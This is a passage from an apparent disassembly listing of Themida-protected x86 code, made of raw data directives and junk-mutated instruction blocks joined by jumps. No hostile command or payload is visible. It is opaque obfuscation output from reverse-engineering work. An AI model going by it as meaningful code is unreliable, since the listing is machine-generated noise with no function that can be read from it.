1ECBE9h, 81E28900h, 4C2h dd 4C28300h, 5C241487h, 4EDFC281h, 0D70150E5h, 5724148Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 24248B24h, 0EFC1DFF7h dd 3BB85006h, 296EC518h, 0BEE958C7h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC0B: ; CODE XREF: Themida_:0055F32Bj add ebp, edi sub ebp, 6D112138h mov edi, [esp] add esp, 4 push ebp jmp loc_55454F ; --------------------------------------------------------------------------- loc_55CC1F: ; CODE XREF: Themida_:0056230Ej sub edi, eax jmp loc_55F190 ; --------------------------------------------------------------------------- loc_55CC26: ; CODE XREF: Themida_:005620AFj shr eax, 12h jmp loc_55B523 ; --------------------------------------------------------------------------- dw 83ACh dd 896602ECh, 4DE92414h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC3B: ; CODE XREF: Themida_:00558334j push 6470h mov [esp], edx push ebx mov ebx, 71FB1A9Dh mov edx, 242913B1h xor edx, ebx pop ebx push edx sub esp, 4 mov [esp], esi mov esi, 7EDF50A6h jmp loc_554536 ; --------------------------------------------------------------------------- db 56h, 0BEh, 49h dd 812ED716h, 0F40B40C6h, 0FF0BE915h, 0C383FFFFh, 0DF41E904h dd 8957FFFFh, 27B850E7h, 0C1176E23h, 534006E8h, 0BB7767BBh dd 6D6CE91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC96: ; CODE XREF: Themida_:00551BBAj sub ebp, 0B9C8D293h and edx, ebp pop ebp and edx, 215124D1h jmp loc_553550 ; --------------------------------------------------------------------------- dw 0EA01h dd 7723EA81h, 95E90501h, 68FFFF45h, 58A8h, 56242C89h, 4EC81h dd 2C890000h, 0B4E0E924h, 0EC81FFFFh, 4, 0E9242489h, 0FFFF3FE8h dd 4E9835Eh, 0FFE329E9h, 4C483FFh, 4186E9h, 4BD3F700h dd 28C1F381h, 0DE89DDE6h, 0CCBDBA5Bh, 0C281DD48h, 5111093Dh dd 0EA81F201h, 5111093Dh, 5E2434FFh, 446768h, 242C8900h dd 0C5815D54h, 4, 48685657h, 5E73DC27h, 397FE681h, 57E971F7h dd 89000016h, 0EAC15DEAh, 0BB5303h, 29000000h, 0E9DA89D3h dd 1374h ; --------------------------------------------------------------------------- loc_55CD48: ; CODE XREF: Themida_:00559969j mov bh, 0B6h and dl, bh mov bx, [esp] jmp loc_55ADA6 ; --------------------------------------------------------------------------- db 59h, 0E9h, 73h dd 0BAFFFF5Fh, 53BA5735h, 48BB5357h, 0E9534A15h, 0C16h dd 8B2434FFh, 0C483240Ch, 0E0895004h, 405h, 4E88300h, 5C240487h dd 68243489h, 9A7h, 0E9242489h, 0FFFF2873h, 4C381h, 0C3810000h dd 4, 0E9241C87h, 0FE1h ; --------------------------------------------------------------------------- loc_55CDA8: ; CODE XREF: Themida_:0055D944j xchg edx, [esp] pop esp push 3D39h mov [esp], eax mov eax, 4 add ebp, 1F8B4BFFh jmp loc_54E288 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704C783h, 95C243Ch, 34FF1C4Fh, 2434FF24h dd 8B545059h, 0ECE92404h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CDE7: ; CODE XREF: Themida_:0055BC72j push 74Dh mov [esp], ecx push esp pop ecx add ecx, 4 push eax mov eax, 4 add ecx, 3BC02A25h jmp loc_561543 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 148B2434h, 5AB16824h, 0A6E90000h, 54FFFFFCh dd 5524048Fh, 0FFCE7DE9h, 0B6E68FFh, 4890000h, 72CB824h dd 0C3294D54h, 6C38158h, 1466A12h, 0BD55C3h, 0C102FC75h dd 0DDF707EDh, 8107EDC1h, 95E208EDh, 52C381BBh, 29718A37h dd 52B850EBh, 0E9718A37h, 0FFFF29F4h, 0EBC0DAB3h, 6F96E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE6E: ; CODE XREF: Themida_:0055513Aj mov ecx, 1 mov esi, ecx mov ecx, [esp] add esp, 4 and eax, esi jmp loc_556ABE ; --------------------------------------------------------------------------- loc_55CE82: ; CODE XREF: Themida_:00559E9Dj push 55CF1551h pop edx shl edx, 2 jmp loc_55FB0D ; --------------------------------------------------------------------------- dd 127EE959h, 0C283FFFFh, 4EC8102h, 89000000h, 74FF2414h dd 8F5A0424h, 248B2404h, 48B6624h, 6F376824h, 9AE90000h dd 66FFFFDBh, 663D18BFh, 7162EF81h, 66DF2966h, 7162C781h dd 0ECBD665Bh, 0C5816639h, 1660BD8h, 0ED8166FDh, 665F0BD8h dd 66536655h, 665B665Dh, 0DD87664Bh, 1BA6652h, 0C2816661h dd 0B4E9009Eh, 0E9FFFFF8h, 0FFFF0EC5h, 24048966h, 0FF0EBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CF09: ; CODE XREF: Themida_:00550D04j push ecx mov ecx, 7E881177h not ecx neg ecx jmp loc_55AB9D ; --------------------------------------------------------------------------- dd 240C8B66h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 0E95C2434h dd 1D34h, 8858E388h, 1C8B871Ch, 6BE95724h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF43: ; CODE XREF: Themida_:00559F73j push dword ptr [esp] pop ebp add esp, 4 shl ebx, 7 jmp loc_55431B ; --------------------------------------------------------------------------- loc_55CF55: ; CODE XREF: Themida_:00558974j mov esi, [esp] add esp, 4 xchg ebx, [esp] pop esp mov [esp], ebx pop eax pop ebx jmp loc_55E308 ; --------------------------------------------------------------------------- db 1, 6Ch, 24h dd 5585D04h, 4, 8704C083h, 248B2404h, 3981E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF82: ; CODE XREF: Themida_:00554D8Aj add edx, ecx pop ecx or edi, edx pop edx shr edi, 6 push ecx mov ecx, 34276E92h xor ecx, 6C893B4Fh jmp loc_556BD9 ; --------------------------------------------------------------------------- dd 6624248Bh, 5724048Bh, 1A8C68h, 24248900h, 0FFF3B8E9h dd 0E0FE9FFh, 0D0F7FFFFh, 0FF83C5E9h, 81425AFFh, 0C06E3AF2h dd 3781E91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CFCA: ; CODE XREF: Themida_:005525CFj add esp, 4 mov edi, esi pop esi sub edi, 2FA2B5D5h push edi mov ebp, [esp] add esp, 4 jmp loc_558695 ; --------------------------------------------------------------------------- dw 895Ch dd 0D8E92434h, 0FFFFFFC1h, 815F2434h, 4C4h, 85E95200h dd 89000052h, 4812424h, 424h, 0FBE95B00h, 8800001Ch, 0D6D8E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D012: ; CODE XREF: Themida_:00560991j push 4 pop esi add ebx, 77585F52h sub ebx, 2BB14B85h add ebx, esi jmp loc_54E972 ; --------------------------------------------------------------------------- loc_55D02B: ; CODE XREF: Themida_:005539B5j mov [esp], ebx mov ebx, 4 and ecx, ebx push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] pop esp shr ecx, 0Ah push ebp jmp loc_553286 ; --------------------------------------------------------------------------- dd 3135C281h, 7DE9657Ah, 80000014h, 285850C5h, 902CE9EBh dd 8B66FFFFh, 0E9552404h, 0FFFFDA25h ; --------------------------------------------------------------------------- loc_55D078: ; CODE XREF: Themida_:0055B9BDj not edx push ebp mov ebp, 696E6E86h sub esp, 4 mov [esp], edx sub esp, 4 jmp loc_55D78A ; --------------------------------------------------------------------------- dd 89241489h, 4BF57E2h, 1000000h, 243C8BFAh, 4C481h, 0C2830000h dd 9F7BE904h, 0DCB9FFFFh, 115CB3Ch, 0D4E959CFh, 0F7FFFFEBh dd 7707E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D0C6: ; CODE XREF: Themida_:00553B38j push dword ptr [esp] mov ebp, [esp] jmp loc_55C808 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0E6h dd 814BC556h, 2A6D96F3h, 0E9DF293Bh, 3A19h, 24048B66h dd 293668h, 242C8900h, 8952E589h, 4C281E2h, 0E9000000h dd 0FFFF9229h, 405E089h, 2D000000h, 4, 5C240487h, 81243489h dd 4ECh, 24248900h, 4B951h, 4C010000h, 0FF590424h, 575E2434h dd 0B2E9E789h, 5FFFF36h, 4, 8704E883h, 895C2404h, 6855241Ch dd 2B2332DEh, 0D0BAE95Dh, 1C89FFFFh, 0E0BBE924h, 0C581FFFFh dd 4, 4ED81h, 65E90000h, 52000041h, 50FBC2BAh, 5AD031EEh dd 19E9C689h, 0FFFFFF8Ah, 5F042474h, 0FF24048Fh, 81592434h dd 4C4h, 3ED6800h, 76E90000h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D193: ; CODE XREF: Themida_:005571A8j pop ecx jmp loc_55319C ; --------------------------------------------------------------------------- db 0B8h, 33h, 55h dd 0C3091EF5h, 83D3F758h, 0EB81FFC3h, 21B4E0B4h, 0E95BD901h dd 0FFFFE50Ch ; --------------------------------------------------------------------------- loc_55D1B4: ; CODE XREF: Themida_:00558D72j sub ecx, 0BBD313Ch add ecx, ebx jmp loc_55F89B ; --------------------------------------------------------------------------- db 25h, 2Ah, 35h dd 6811C0h, 29000000h, 57582404h, 0C7026CBFh, 80B8501Ch dd 0E9211D4Ah, 0FFFF8BE6h, 7DDDF381h, 0EB8135F4h, 1, 0DBF7EBD1h dd 0BAC9BA52h, 0D3295DA9h, 8324148Bh, 0D90104C4h, 83241C8Bh dd 0C80104C4h, 23D26859h, 3C890000h, 2BF24h, 0F8010000h dd 3662E9h db 0 ; --------------------------------------------------------------------------- loc_55D21D: ; CODE XREF: Themida_:005561ACj xchg esi, [esp] pop esp add eax, 37336691h jmp loc_5521EF ; --------------------------------------------------------------------------- loc_55D22B: ; CODE XREF: Themida_:0055A5BDj mov edi, 0CBB6E4Bh jmp loc_54ED37 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 0D3h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D23B: ; CODE XREF: Themida_:0055E128j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax push 104Dh jmp loc_55FDB1 ; --------------------------------------------------------------------------- loc_55D263: ; CODE XREF: Themida_:00555D39j xor ebx, 0EF67D847h mov esi, ebx pop ebx add esi, 4D266574h sub esi, 0BC8B8DC6h add eax, esi jmp loc_55E5C3 ; --------------------------------------------------------------------------- db 89h dd 0ADB82404h, 563720Dh, 0A9512115h, 0FF7A02E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D291: ; CODE XREF: Themida_:00555A63j push dword ptr [esp+4] push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] push 7C35h jmp loc_55B804 ; --------------------------------------------------------------------------- dw 48Bh dd 61D0E924h, 0E952FFFFh, 4346h ; --------------------------------------------------------------------------- loc_55D2CC: ; CODE XREF: Themida_:00558073j inc esi add esi, 5F4533C9h add esi, 0C83CCE1Dh jmp loc_559DEA ; --------------------------------------------------------------------------- dw 489h dd 53685124h, 8B6C7F01h, 0C483240Ch, 76C18104h, 81174003h dd 40FB3BC1h, 481517Ch, 7F5C7E24h, 7E2D5849h, 59497F5Ch dd 2F2CB951h, 0E9C13220h, 0F2E94906h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D317: ; CODE XREF: Themida_:005520ECj mov edi, [esp] add esp, 4 add eax, 30A97560h add eax, ebx sub eax, 30A97560h sub eax, 15AD6F08h pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_553AD4 ; --------------------------------------------------------------------------- db 0F6h, 0D2h, 53h dd 0E78057B7h, 61C780F3h, 1C8BFA30h, 4C48124h, 80000000h dd 5066F7F2h, 0CDE989B0h, 0FFFFFFAAh, 5B042474h, 5C24048Fh dd 8B242C87h, 4FE2424h, 4EE99C24h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D377: ; CODE XREF: Themida_:00557EA6j push eax mov eax, 32343ADAh dec eax jmp loc_561B34 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 0E904C683h, 0FFFF2CEAh, 3C8BF829h, 4C48124h dd 66000000h, 1EE930FFh, 81FFFF0Ah, 2A161CF3h, 5BDE8975h dd 0A668D6F7h, 89000009h, 14F72434h, 2404FF24h, 5E2434FFh dd 8104C483h, 1053CE6h, 0F7CE8723h, 36CCE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D3D6: ; CODE XREF: Themida_:0055A227j push esp mov esi, [esp] add esp, 4 add esi, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push ebx push 12CB3C6Dh pop ebx dec ebx add ebx, 7D0840AAh add ebx, 702C82EEh mov eax, ebx pop ebx jmp loc_55A5CD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E9241C87h, 0FFFF6D77h, 24048B66h, 4EC81h, 3BE90000h dd 81FFFF9Eh, 1B222FC5h, 0B8B85038h, 0C1130E4Ch, 0E0C103E0h dd 0C1E8D108h, 0E8C103E8h, 22BE5604h, 10C33B8h, 2434FFF0h dd 4C4815Eh, 29000000h, 0C58158C5h, 628EB4EBh, 0FAE9EF01h dd 80FFFF91h, 0FE0066EFh, 4A16E9h, 48B6600h, 0E7895724h dd 4C781h, 0BB530000h, 4, 3910E9h, 1BA5200h, 29000000h dd 53E95AD0h, 0B2000017h, 48B753CCh, 0E95BE780h, 0FFFF2EBAh dd 83240C8Bh, 0C28104C4h, 7DE42E03h, 0EA81C201h, 7DE42E03h dd 984FE958h, 0F381FFFFh, 0E249D2E3h, 215BD889h, 2434FFC5h dd 8124048Bh, 4C4h, 4C48300h, 8107EDC1h, 710ABCC5h, 0B7B95169h dd 8100B10Fh, 346F5AC5h, 5C11E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D4FE: ; CODE XREF: Themida_:0055257Aj add ebx, 4 push edi mov edi, 4 jmp loc_55A484 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0C781E789h, 4, 8704C783h, 0E95C243Ch dd 23D9h, 243C875Eh, 777BE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D536: ; CODE XREF: Themida_:0055B99Fj xor ecx, 4A8A03CCh or ecx, 1D3426BAh not ecx sub ecx, 55DE1370h or ecx, 1EDB7F4Bh jmp loc_55C903 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 42474FFh, 0FFA7D0E9h, 242C8BFFh, 4C481h, 0ED810000h dd 0DA7C9E5Ah, 8B5DEF01h, 54562404h, 4C6815Eh, 81000000h dd 4C6h, 24348700h, 2C7835Ch, 31243C33h, 3C33243Ch, 0F665C24h dd 9C2404ABh, 0FF0824E9h, 66FD00FFh, 77EB805Bh, 285EC380h dd 6994E9EBh, 34FFFFFFh, 240C8B24h, 0FF84E4E9h, 0B5F180FFh dd 37F180h, 546859CBh, 89000014h, 0A2E92414h, 35FFFFDDh dd 386206D7h, 0FFBA4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D5DD: ; CODE XREF: Themida_:0055BC1Bj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_552545 ; --------------------------------------------------------------------------- loc_55D5F0: ; CODE XREF: Themida_:0055714Fj add ebp, 4 xchg ebp, [esp] pop esp push eax push esp mov eax, [esp] sub esp, 4 jmp loc_55009C ; --------------------------------------------------------------------------- loc_55D60A: ; CODE XREF: Themida_:00558713j pop ebx push edx sub esp, 4 jmp loc_54EE73 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 6CD0h, 89240489h, 4EC83E0h, 0FFC2E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D62D: ; CODE XREF: Themida_:00561BA9j pop esp mul cl jmp loc_559776 ; --------------------------------------------------------------------------- db 81h, 0EBh, 2Ah dd 31AF6D95h, 3FEDE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D642: ; CODE XREF: Themida_:00561A01j xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx push edx jmp loc_5560D2 ; --------------------------------------------------------------------------- dd 0E95EF189h, 0FFFF358Fh, 81240C8Bh, 4C4h, 0B2E95500h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D667: ; CODE XREF: Themida_:0055FBC3j and eax, edx jmp loc_561D8C ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 5C240C33h, 9C2404FFh, 0FF0744E9h, 241C8BFFh dd 4C481h, 51530000h, 8904EC83h, 0EDB7241Ch, 245CF653h dd 6278E901h, 0EBC0FFFFh, 41F38004h, 285BD828h, 2C4F04D8h dd 0C9CCE99Ah, 0F189FFFFh, 0E9C88950h, 0FFFF12D8h ; --------------------------------------------------------------------------- loc_55D6BC: ; CODE XREF: Themida_:0055AC83j push dword ptr [esp] pop edi push 0A7Dh mov [esp], eax push esp pop eax jmp loc_5564AD ; --------------------------------------------------------------------------- db 8Bh dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 16E4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D6E6: ; CODE XREF: Themida_:00553BD3j and edx, edi jmp loc_5594D8 ; --------------------------------------------------------------------------- loc_55D6ED: ; CODE XREF: Themida_:005557F0j add ecx, 4 push edi mov edi, 5F3B56BFh dec edi push ecx mov ecx, 65FF446Bh or edi, ecx pop ecx push ecx mov ecx, 30370177h or ecx, 750D45A3h xor ecx, 3A2E4FB6h jmp loc_55FE23 ; --------------------------------------------------------------------------- dw 405h dd 55000000h, 1019E9h db 0 ; --------------------------------------------------------------------------- loc_55D725: ; CODE XREF: Themida_:0055C789j add ebp, 506D851Fh sub eax, ebp pop ebp push ebx mov ebx, 33103CE3h sub eax, ebx pop ebx jmp loc_561630 ; --------------------------------------------------------------------------- loc_55D73C: ; CODE XREF: Themida_:00550A1Cj mov eax, 4 sub ebx, 61602000h add ebx, 450E45FEh add ebx, eax sub ebx, 450E45FEh push ecx jmp loc_55B972 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0D4F4E900h, 4481FFFFh, 45700424h, 0E95E5BB5h dd 0FFFF0651h, 3304C483h, 4312404h, 97B5E924h, 0C483FFFFh dd 4D98E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D78A: ; CODE XREF: Themida_:0055D08Fj mov [esp], edx jmp loc_55E415 ; --------------------------------------------------------------------------- loc_55D792: ; CODE XREF: Themida_:00557657j xor eax, edi mov edi, [esp] jmp loc_55125A ; --------------------------------------------------------------------------- loc_55D79C: ; CODE XREF: Themida_:00550420j mov ebx, esp push eax sub esp, 4 mov [esp], ebp mov ebp, 70AB1347h mov eax, 8F54ECBDh add eax, ebp pop ebp add ebx, 69781D1Eh add ebx, eax sub ebx, 69781D1Eh pop eax jmp loc_550A1B ; --------------------------------------------------------------------------- dw 0EE81h dd 5AD7332Bh, 71E9DE01h, 68FFFF51h, 4, 56242C8Bh, 0C681E689h dd 4, 8704C683h, 815C2434h, 3E415EEEh, 81EE0174h, 3E415EC6h dd 5918E974h, 8956FFFFh, 0ABE951EEh, 0FFFFFFFEh, 815F2434h dd 4C4h, 4BA5200h, 81000000h, 0CA44DBC7h, 9525E96Bh, 1C8BFFFFh dd 4C48124h, 0E9000000h, 0FFFFD608h, 66243486h, 5EBC05Bh dd 0F6DE8852h, 5AF388D6h, 0FF81E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D845: ; CODE XREF: Themida_:00551315j mov edi, [esp] jmp loc_55AFEE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 34D7E9h db 0 ; --------------------------------------------------------------------------- loc_55D855: ; CODE XREF: Themida_:005512FFj mov esp, [esp] jmp loc_55499A ; --------------------------------------------------------------------------- loc_55D85D: ; CODE XREF: Themida_:005612C7j mov edx, 0DBC7665h jmp loc_55B75A ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 0C581FD01h, 8014B4Ah, 51243C8Bh, 0C1815954h dd 4, 4BA52h, 0D1010000h, 240C875Ah, 242C335Ch, 33242C31h dd 0F5C242Ch, 9C51C8AFh, 0FF0520E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D8A5: ; CODE XREF: Themida_:0055014Bj mov esi, 32A4589Fh and esi, 5E8C738Eh or esi, 734709D7h jmp loc_55340D ; --------------------------------------------------------------------------- db 8Bh dd 0C892424h, 0C8B5424h, 30EBE924h, 0C05BFFFFh, 0DEE904EAh db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D8D3: ; CODE XREF: Themida_:00561C19j add ebx, eax pop eax dec ebx push edx mov edx, 6CCC6AA0h neg edx add edx, 9901425h xor ebx, edx pop edx jmp loc_55B609 ; --------------------------------------------------------------------------- db 81h, 0EDh, 56h dd 898D85BDh, 0D3F75DEBh, 4EC81h, 0C0E90000h, 81000045h dd 4ECh, 6048E900h, 0BE56FFFFh, 386706D9h, 0E95EF789h dd 0FFFFFA78h, 2434FF58h, 4C4835Bh, 0E975B652h, 0FFFFB723h ; --------------------------------------------------------------------------- loc_55D92C: ; CODE XREF: Themida_:00551D79j and edx, 0BCD28F5h neg edx jmp loc_56195B ; --------------------------------------------------------------------------- loc_55D939: ; CODE XREF: Themida_:00553EABj mov edx, esp add edx, 4 add edx, 4 jmp loc_55CDA8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 5A545224h, 4C281h, 4AE90000h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D95B: ; CODE XREF: Themida_:0055FB13j mov [esp], ecx mov ecx, 34DD1D06h or edx, ecx mov ecx, [esp] add esp, 4 jmp loc_55EE34 ; --------------------------------------------------------------------------- loc_55D973: ; CODE XREF: Themida_:0056252Bj push dword ptr [esp] jmp loc_550254 ; --------------------------------------------------------------------------- loc_55D97B: ; CODE XREF: Themida_:00557533j push ecx push ebp jmp loc_55F928 ; --------------------------------------------------------------------------- dw 0D3F7h dd 489BE955h, 0E1B9FFFFh, 53571C9Dh, 613EE0BBh, 0EBF3815Eh dd 8166122Eh, 8A6578C3h, 9FC3810Ah, 1C86499h, 0D1295BD9h dd 0FF8290E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D9B1: ; CODE XREF: Themida_:00559700j push edi mov edi, eax mov esi, edi pop edi pop eax xor ebx, esi push dword ptr [esp] push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_554830 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 73BB241Ch, 0E9380009h, 0FFFFA7FBh, 0EE9C300h dd 5AFFFF5Ch, 0C8E9F229h, 81FFFFADh, 4EAh, 24148700h, 0AF32E95Ch dd 433FFFFh, 24248B24h, 0E9241489h, 0FFFFD24Dh ; --------------------------------------------------------------------------- loc_55DA08: ; CODE XREF: Themida_:00556668j mov al, bh jmp loc_5513A7 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 2474FF24h, 1EBEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA1E: ; CODE XREF: Themida_:00554C09j add esp, 4 push 15A1h mov [esp], ebx push 4670h mov [esp], esp push ebp mov ebp, 4 push eax jmp loc_553729 ; --------------------------------------------------------------------------- dd 8758C501h, 835C242Ch, 48904ECh, 0A4C1E924h, 0EF81FFFFh dd 3E862F09h, 2097E781h, 68524128h, 5799634Eh, 258CE95Ah dd 0E953FFFFh, 0FFFF1EA5h, 240C875Fh, 8324248Bh, 3AE904ECh db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA7F: ; CODE XREF: Themida_:00562891j mov [esp], esi mov esi, 65E077DAh jmp loc_55AD95 ; --------------------------------------------------------------------------- loc_55DA8C: ; CODE XREF: Themida_:00553197j mov [esp], ebx jmp loc_55AC88 ; --------------------------------------------------------------------------- dd 0E9DF895Dh, 47F7h, 0E528B9B4h, 0ABE95866h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DAA7: ; CODE XREF: Themida_:0054F0C7j mov ecx, esp sub esp, 4 mov [esp], edi push ecx mov ecx, 60BC02D4h mov edi, ecx pop ecx sub esp, 4 mov [esp], ebp jmp loc_55A46B ; --------------------------------------------------------------------------- dw 0C581h dd 59FF35ABh, 7EDC15Fh, 0C11CD81h, 0E5814A1Fh, 467F4B9Ah dd 0FF0A9BE9h, 0EE015DFFh, 81242C8Bh, 4C4h, 5EF22900h dd 31241433h, 4E92414h, 81FFFF40h, 7D3653C5h, 0E9D5014Eh dd 0FFFFC839h, 0D6BA5256h, 812A1C47h, 0A01D9BC2h, 33896862h dd 3C890000h, 15DC6824h, 15F97BEh, 2434FFFAh, 8C5EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB2E: ; CODE XREF: Themida_:005596D3j add esi, 4 push 1592h mov [esp], ebx mov ebx, 7082185Fh sub esp, 4 mov [esp], ecx push 8D0530Ch pop ecx sub ecx, 69F745CEh push ebp mov ebp, 38736150h and ecx, ebp pop ebp jmp loc_561239 ; --------------------------------------------------------------------------- dd 1DBF5743h, 0C172CF3Dh, 0C78108E7h, 26071BE2h, 4DE94F4Fh db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB7B: ; CODE XREF: Themida_:00558BD5j add edx, 4 xchg edx, [esp] jmp loc_558ED4 ; --------------------------------------------------------------------------- dw 0D1F7h dd 2F32E981h, 0F6E94FC9h, 2DFFFF13h, 28EC3756h, 81243C8Bh dd 4ECh, 24348900h, 0C681E689h, 4, 4C681h, 34870000h, 0BA525C24h dd 2, 72E9D001h, 89FFFF67h, 0E954242Ch, 0FFFFF669h ; --------------------------------------------------------------------------- loc_55DBCC: ; CODE XREF: Themida_:0055F8A3j mov ebx, esp push ecx push ebx push 6C78h mov [esp], esi mov esi, 7CED19E1h inc esi neg esi push ecx mov ecx, 0FA96493h and esi, ecx pop ecx jmp loc_54DE59 ; --------------------------------------------------------------------------- dw 3489h dd 4B85024h, 0E934F34Bh, 0FFFF1A5Dh, 0FF01C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC01: ; CODE XREF: Themida_:005619B7j push edx mov edx, 4 sub esi, edx pop edx xchg esi, [esp] jmp loc_55466E ; --------------------------------------------------------------------------- dw 2C8Bh dd 0E7895724h, 0FFD7DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC1D: ; CODE XREF: Themida_:0055A71Ej mov ebp, esp add ebp, 4 jmp loc_5523D5 ; --------------------------------------------------------------------------- dw 0C381h dd 556761BCh, 71E4C381h, 0EB814617h, 0BCE86D4Ch, 0FFDD89E9h dd 34895CFFh, 81E68924h, 4C6h, 9FE95100h, 81000000h, 0D54C9C7h dd 478BE989h, 433FFFFh, 24248B24h, 9C2404D2h, 0FF0158E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC6D: ; CODE XREF: Themida_:0055951Bj mov ebp, 648C24D8h not ebp jmp loc_55EDE6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFFE77h, 4BFh, 2E252D00h, 0C3E962E4h dd 29FFFF07h, 42A02DF8h, 34FF549Bh, 0C4815F24h, 4, 0FF66C331h dd 117E930h, 0F308FFFFh, 7BCB805Ah, 5E9EBD0h, 6600003Bh dd 5724048Bh, 4D1468h, 24248900h, 4BD55h, 6C010000h, 0FF5D0424h dd 0E95F2434h, 0FFFFED48h, 0BE243489h, 4, 0FF75BEE9h, 248B66FFh dd 0D3E924h, 2B9FFFFh, 1000000h, 240C8BCEh, 4C481h, 92680000h dd 0E9000073h, 0FFFF2E37h, 66D8F766h, 667B2F0Dh, 0E9650F05h dd 2B7Eh, 7C3D68h, 241C8900h, 0FF6C99E9h, 0C1068FFh, 0FE90000h dd 5600003Ah, 6E13C0BEh, 8BF00917h, 0C4832434h, 0B810504h dd 9E052A0Dh, 5676039Ch, 0FF4EC6E9h, 0C2635FFh, 0C2014578h dd 81C20158h, 8C27A3EAh, 55E95869h, 87FFFF26h, 895C2434h dd 0BD552414h, 2E783922h, 0D867FBBAh, 5DEA311Dh, 0A12BC281h dd 0D601CC5Fh, 916E9h, 24248B00h, 3302EA83h, 14312414h dd 24143324h, 0FF1B2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD9D: ; CODE XREF: Themida_:00559EEAj xor edx, [esp] pop esp mov [esp], eax xor [esp], edi xor edi, [esp] xor [esp], edi push eax push esp pop eax add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] mov esp, [esp] jmp loc_550A08 ; --------------------------------------------------------------------------- loc_55DDC9: ; CODE XREF: Themida_:00560B68j push 0 sub dword ptr [esp], 7E144299h add dword ptr [esp], 0F390764h sub dword ptr [esp], 1D7548BAh sub [esp], ebx jmp loc_556DE3 ; --------------------------------------------------------------------------- loc_55DDEB: ; CODE XREF: Themida_:0055CB72j add ebp, esi jmp loc_54F109 ; --------------------------------------------------------------------------- dw 0C289h dd 8BD70158h, 0C4832414h, 55CF0104h, 0FF601DBDh, 7FB1E973h dd 0C481FFFFh, 4, 4280E955h, 0F5290000h, 1C30ED81h, 0B2E92F28h dd 0F7FFFF75h, 4BE381DBh, 0F7605F70h, 8FF381D3h, 29D82C82h dd 0E9015BD9h, 0E904EC83h, 0FFFF0FF3h, 5D240CFFh, 48EEC581h dd 0C3810D6Fh, 6B181332h, 0EB81EB29h, 6B181332h, 81242C8Bh dd 4C4h, 381EE900h db 2 